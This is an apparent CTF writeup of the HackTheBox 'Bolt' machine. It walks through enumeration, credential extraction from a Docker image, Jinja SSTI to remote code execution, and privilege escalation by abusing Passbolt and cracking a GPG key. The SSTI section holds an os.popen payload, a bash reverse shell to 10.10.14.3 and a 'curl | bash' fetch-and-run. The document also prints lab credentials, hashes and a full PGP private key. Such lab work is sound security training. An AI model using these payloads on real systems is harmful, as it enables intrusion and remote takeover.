> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md). # Bolt HackTheBox Writeup Bolt HackTheBox Medium Linux machine writeup covering Information Leakage, Subdomain Enumeration, SSTI (Server Side Template Injection), Abusing PassBolt, with practical enumeration, exploitation, foo {% embed url="" %} {% hint style="warning" %} **Skills:** * Information Leakage * Subdomain Enumeration * SSTI (Server Side Template Injection) * Abusing PassBolt * Abusing GPG {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22,80,443)

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80,443 10.10.11.114 -oN targeted ```

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file.

### Port 80

We attempt to create an account, but receive an "Internal Server Error".

**List of possible users:** * Joseph Garth * Bonnie Green * Jose Leos

We are offered to download a `.tar` Docker image, including a basic web package to start a project with an elegant design.

**Directory search:** We perform a directory search with `gobuster`: ```bash gobuster dir -u http://bolt.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Nothing interesting was found.

**Subdomain search:** We search for subdomains with `gobuster`: ```bash gobuster vhost -u http://bolt.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Subdomains found: * `demo.bolt.htb` * `mail.bolt.htb`

We add them to the `/etc/hosts` file.

**`http://mail.blolt.htb`**

**`http://demo.bolt.htb:`**

### Information Leakage (image.tar) We are looking for sensitive information in the Docker file `.tar` which contains folders with file `json`, file `layer.tar` and version.

**File extraction:** We extract the files from `layer.tar` as follows: ```bash mkdir extracted_layers ``` ```bash find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /; ```

We open the `db.sqlite3` database: ```sql sqlite3 db.sqlite3 .tables Select * from user ``` We find a user `admin` with a hashed password: * `id`: Unique user identifier. * `username`: Username (`admin` in this case). * `email`: Associated email address (`admin@bolt.htb`). * `password`: Hashed password (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

We decrypt the password with `john`: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `admin:deadbolt`

We log into the admin panel but don't find anything interesting except that it uses Flask.

**Search for invitation code:**

We are looking for the invitation code in the extracted files: ```bash grep -ri "invite_code" . ```

A Python file contains the invitation code: `XNSS-HSJW-3NGU-8XTJ`

We create a new user account `jordan` with password `Jordan1234`, then we have access to the inbox and the admin panel demo.

* `user: jordan` * `password: Jordan1234`

## Vulnerability SSTI : Looking at the configuration, we notice that if we change our configuration name, a confirmation email is sent. This may be an opportunity for an SSTI attack.

We test with a typical payload: ```bash {{ 9*9 }} ``` If the result is `81`, the application is vulnerable.

We confirm that the application is vulnerable and test command injection with a payload from `payloadallthethings`: {% embed url="" %} Order ID: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ```

We successfully execute a reverse shell by listening on port 443: ```bash nc -nlvp 443 ``` We create a `index.html` file with the following content to execute a reverse shell ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Then we start an HTTP server with Python: ```bash python3 -m http.server 80 ``` We send the payload with `curl` to retrieve and execute the command: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }} ```

**Terminal Stabilization :** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilize the shell for more comfortable work. ## Privilege Escalation : As user `www-data`, we are attempting to elevate our privileges to gain root access. ### Initial enumeration with LinPEAS You used LinPEAS to identify potential vulnerabilities in the system. {% embed url="" %} Commands executed: ```bash python3 -m http.server 555 ``` ```bash wget http://10.10.14.3:555/linpeas.sh ```

LinPEAS revealed a configuration file containing sensitive information: `/etc/passbolt/passbolt.php` * `host :localhost` * `port : 3306` * `username : passbolt` * `password : rT2;jW7

### **Connection to the MySQL database** Using the information to connect to the database: ```bash mysql -h localhost -P 3306 -u passbolt -p rT2;jW7

* **`users`**: Contains users.


`id`	`role_id`	`username`	`active`	`deleted`	`created`	`modified`
`4e184ee6-e436-47fb-91c9-dccb57f250bc`	`1cfcd300-0664-407e-85e6-c11664a7d86c`	`eddie@bolt.htb`	1	0	2021-02-25 21:42:50	2021-02-25 21:55:06
`9d8a0452-53dc-4640-b3a7-9a3d86b0ff90`	`975b9a56-b1b1-453c-9362-c238a85dad76`	`clark@bolt.htb`	1	0	2021-02-25 21:40:29	2021-02-25 21:42:32

* **`secrets`**: Encrypted messages (potentially exploitable later).

* **`gpgkeys`**: Contains public keys (can be used in certain scenarios).

Attempting to connect with `eddie`: ```bash su eddie ``` * **Password**: `rT2;jW7

### Reusing LinPEAS (user eddie) After gaining access to user `eddie`, we reuse **LinPEAS** to explore the system for potential SSH keys or other useful clues.

**File found**: A log file containing potential SSH keys: `/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

### Message decryption with GPG **GPG Private Key**: We use the **GPG** tool to import the private key and attempt to decrypt the encrypted message in the `secrets` table in the `passboltdb` database. ``` -----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- ``` #### Extracting the private key hash To be able to use the private key, we must first obtain its **hash**. We use the **gpg2john** tool to extract the private key hash: ```bash gpg2john private.key > hash ```

**Brute force private key password with `john`** We use **John the Ripper** to perform a dictionary attack and discover the private key password. We use the wordlist **rockyou.txt** for this: ```bash john -wordlist=/usr/share/wordlists/rockyou.txt hash ``` **Password found**: `merrychristmas`

#### Importing the private key and decrypting the message We import the private key with **gpg** ```bash gpg --import private.key ```

Then, we decrypt the encrypted message (probably contained in the `message.txt` file retrieved from the `secrets` database): ```bash gpg --decrypt message.txt ``` **Root password found**: `Z(2rmxsNW(Z?3=p/9s`

### Flag root.txt

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